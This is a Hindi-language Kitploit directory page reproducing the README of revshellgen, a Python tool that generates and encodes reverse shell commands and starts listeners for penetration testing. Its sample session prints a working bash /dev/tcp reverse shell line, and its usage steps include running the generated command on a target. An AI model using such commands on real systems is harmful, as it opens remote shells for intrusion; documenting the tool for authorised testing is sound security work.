Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
revshellgen — Python 3 में लिखा गया रिवर्स शेल जनरेटर। | Kitploit
उपकरण/GitHubGitHub/t0thkr1s/revshellgen
पेलोड जनरेशनशोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगशेलकोड जनरेशनपेलोड डेवलपमेंट
GitHubt0thkr1s/revshellgen

revshellgen

Python 3 में लिखा गया रिवर्स शेल जनरेटर।

रिपॉजिटरी देखें
565941 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

🚀 RevShellGen

रिवर्स शेल जनरेटर

Python License Stars

CI Tests PyPI

शैली के साथ रिवर्स शेल जनरेशन को स्वचालित करें
बिना किसी परेशानी के रिवर्स शेल उत्पन्न करें, एन्कोड करें और कैच करें


विशेषताएँ • स्थापना • उपयोग • शेल प्रकार • योगदान

📖 परिचय

RevShellGen एक शक्तिशाली कमांड-लाइन टूल है जो रिवर्स शेल कमांड उत्पन्न करने की प्रक्रिया को सरल बनाता है। अब सिंटैक्स देखने, मैन्युअल एन्कोडिंग करने या कॉन्फ़िगरेशन समस्याओं की कोई आवश्यकता नहीं है। यह टूल एक सहज इंटरफ़ेस के साथ सब कुछ संभालता है।

🎯 मुख्य विशेषताएँ

  • 🖥️ इंटरैक्टिव CLI - उपयोगकर्ता-अनुकूल मेनू-आधारित इंटरफ़ेस
  • 🔄 स्वचालित एन्कोडिंग - URL और Base64 एन्कोडिंग समर्थन
  • 📋 क्लिपबोर्ड एकीकरण - जनरेटेड कमांड को ऑटो-कॉपी करें
  • 🌐 नेटवर्क डिटेक्शन - स्वचालित IP पता खोज
  • 🎨 एकाधिक शेल प्रकार - Bash, Python, Netcat, PowerShell, और अधिक
  • 🔊 अंतर्निर्मित लिसनर - स्वचालित netcat/ncat लिसनर सेटअप
  • 🍎 क्रॉस-प्लेटफ़ॉर्म - Linux और macOS के लिए पूर्ण समर्थन
  • 📚 TTY अपग्रेड गाइड - शेल अपग्रेड के लिए व्यापक निर्देश

🚀 त्वरित प्रारंभ

विकल्प 1: PyPI से स्थापित करें

root@kitploit:~
# PyPI से स्थापित करें
pip install revshellgen

# टूल चलाएँ
revshellgen

विकल्प 2: स्रोत से स्थापित करें

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt

# टूल चलाएँ
python3 revshellgen.py  # या python3 revshellgen_cli.py

📦 स्थापना

पूर्वापेक्षाएँ

  • Python 3.6 या उच्चतर
  • pip (Python पैकेज मैनेजर)

निर्भरताएँ

RevShellGen को निम्नलिखित Python पैकेजों की आवश्यकता है:

स्थापना विधियाँ

विधि 1: requirements.txt का उपयोग करें (सबसे सरल)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
विधि 2: setup.py का उपयोग करें (पारंपरिक)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
विधि 3: वर्चुअल वातावरण (अलगाव के लिए अनुशंसित)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # विंडोज़ पर: venv\Scripts\activate
pip3 install -r requirements.txt
विधि 4: मैन्युअल स्थापना
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
विधि 5: उपयोगकर्ता स्थापना (sudo की आवश्यकता नहीं)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

प्लेटफ़ॉर्म-विशिष्ट नोट्स

🐧 Linux

root@kitploit:~
# आपको python3-dev स्थापित करने की आवश्यकता हो सकती है
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# बेहतर लिसनर समर्थन के लिए ncat स्थापित करें
brew install nmap  # इसमें ncat शामिल है

💻 उपयोग

मूल कार्यप्रवाह

  1. टूल प्रारंभ करें

    root@kitploit:~
    python3 revshellgen.py
    
  2. अपना रिवर्स शेल कॉन्फ़िगर करें

    • अपना IP पता चुनें (स्वचालित रूप से पहचाना गया)
    • एक पोर्ट चुनें (उदा., 4444, 9001)
    • शेल प्रकार चुनें (bash, python, आदि)
    • एन्कोडिंग चुनें (कोई नहीं, URL, Base64)
  3. जनरेटेड कमांड स्वचालित रूप से क्लिपबोर्ड पर कॉपी हो जाती है

  4. लिसनर प्रारंभ करें (स्वचालित)

  5. लक्ष्य मशीन पर कमांड निष्पादित करें

📸 स्क्रीनशॉट


शेल चयन

कमांड जनरेशन

🐚 समर्थित शेल

🔧 उन्नत सुविधाएँ

TTY शेल अपग्रेड

RevShellGen में अब व्यापक TTY अपग्रेड निर्देश शामिल हैं। शेल कैच करने के बाद, टूल प्रदान करता है:

  • चरण-दर-चरण PTY स्पॉन विधियाँ
  • टर्मिनल आकार का पता लगाना और कॉन्फ़िगरेशन
  • विभिन्न वातावरणों के लिए एकाधिक अपग्रेड तकनीकें
  • सामान्य समस्याओं के लिए समस्या निवारण युक्तियाँ
  • त्वरित संदर्भ कमांड

एन्कोडिंग विकल्प

  • कोई नहीं - रॉ कमांड आउटपुट
  • URL एन्कोड - वेब एप्लिकेशन एक्सप्लॉइटेशन के लिए
  • Base64 - कमांड अस्पष्टीकरण के लिए

लिसनर विकल्प

टूल स्वचालित रूप से उपयुक्त netcat वेरिएंट का पता लगाता है और उपयोग करता है:

  • ncat (पसंदीदा, nmap पैकेज से)
  • nc (पारंपरिक netcat)
  • macOS-विशिष्ट nc सिंटैक्स समर्थन

📝 नमूना सत्र

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ IP चुनें ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] मैन्युअल रूप से निर्दिष्ट करें

---------- [ पोर्ट निर्दिष्ट करें ] ----------
[ # ] पोर्ट नंबर दर्ज करें : 4444

---------- [ कमांड चुनें ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ रिवर्स शेल कमांड ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] कमांड क्लिपबोर्ड पर कॉपी हो गया!
[ + ] पोर्ट 4444 पर लिसनर प्रारंभ किया जा रहा है...

🤝 योगदान

योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें। बड़े बदलावों के लिए, कृपया पहले एक इश्यू खोलें ताकि आप जो बदलना चाहते हैं उस पर चर्चा हो सके।

डेवलपमेंट सेटअप

root@kitploit:~
# अपना फोर्क क्लोन करें
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# एक ब्रांच बनाएँ
git checkout -b feature/your-feature-name

# अपने बदलाव करें और कमिट करें
git add .
git commit -m "अपनी सुविधा जोड़ें"

# अपने फोर्क में पुश करें
git push origin feature/your-feature-name

# एक पुल रिक्वेस्ट बनाएँ

🐛 मुद्दे और सहायता

बग मिला या सुझाव है? कृपया GitHub पर एक इश्यू खोलें।

📜 लाइसेंस

यह प्रोजेक्ट GNU जनरल पब्लिक लाइसेंस v3.0 के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

⚠️ अस्वीकरण

यह टूल केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है।

इस टूल का उपयोग उन सिस्टमों के खिलाफ करना जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करे। डेवलपर्स कोई देयता नहीं लेते हैं और इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

🙏 आभार

  • PayloadsAllTheThings - रिवर्स शेल संदर्भ
  • ropnop - TTY अपग्रेड तकनीकें
  • PentestMonkey - रिवर्स शेल चीट शीट
  • इस टूल के सभी योगदानकर्ता और उपयोगकर्ता

t0thkr1s द्वारा ❤️ के साथ बनाया गया
यदि आपको यह उपयोगी लगे तो इस रिपॉजिटरी को ⭐ दें!
टूल डाउनलोड करें
पैकेजउद्देश्य
pyperclipक्लिपबोर्ड संचालन
coloramaटर्मिनल रंग
readcharइंटरैक्टिव कुंजी इनपुट
netifacesनेटवर्क इंटरफ़ेस पहचान
शेल प्रकारविवरणप्लेटफ़ॉर्म
BashBash TCP रिवर्स शेलLinux/Unix
PythonPython-आधारित रिवर्स शेलक्रॉस-प्लेटफ़ॉर्म
Netcatपारंपरिक nc रिवर्स शेलLinux/Unix
Netcat mkfifoनेम्ड पाइप के साथ NetcatLinux/Unix
PerlPerl-आधारित रिवर्स शेलक्रॉस-प्लेटफ़ॉर्म
PHPPHP रिवर्स शेलक्रॉस-प्लेटफ़ॉर्म
RubyRuby-आधारित रिवर्स शेलक्रॉस-प्लेटफ़ॉर्म
JavaJava रिवर्स शेलक्रॉस-प्लेटफ़ॉर्म
AWKAWK रिवर्स शेलLinux/Unix
SocatSocat रिवर्स शेलLinux/Unix
Socat TTYपूर्ण TTY के साथ SocatLinux/Unix
TelnetTelnet रिवर्स शेलLinux/Unix
PowerShellWindows PowerShellWindows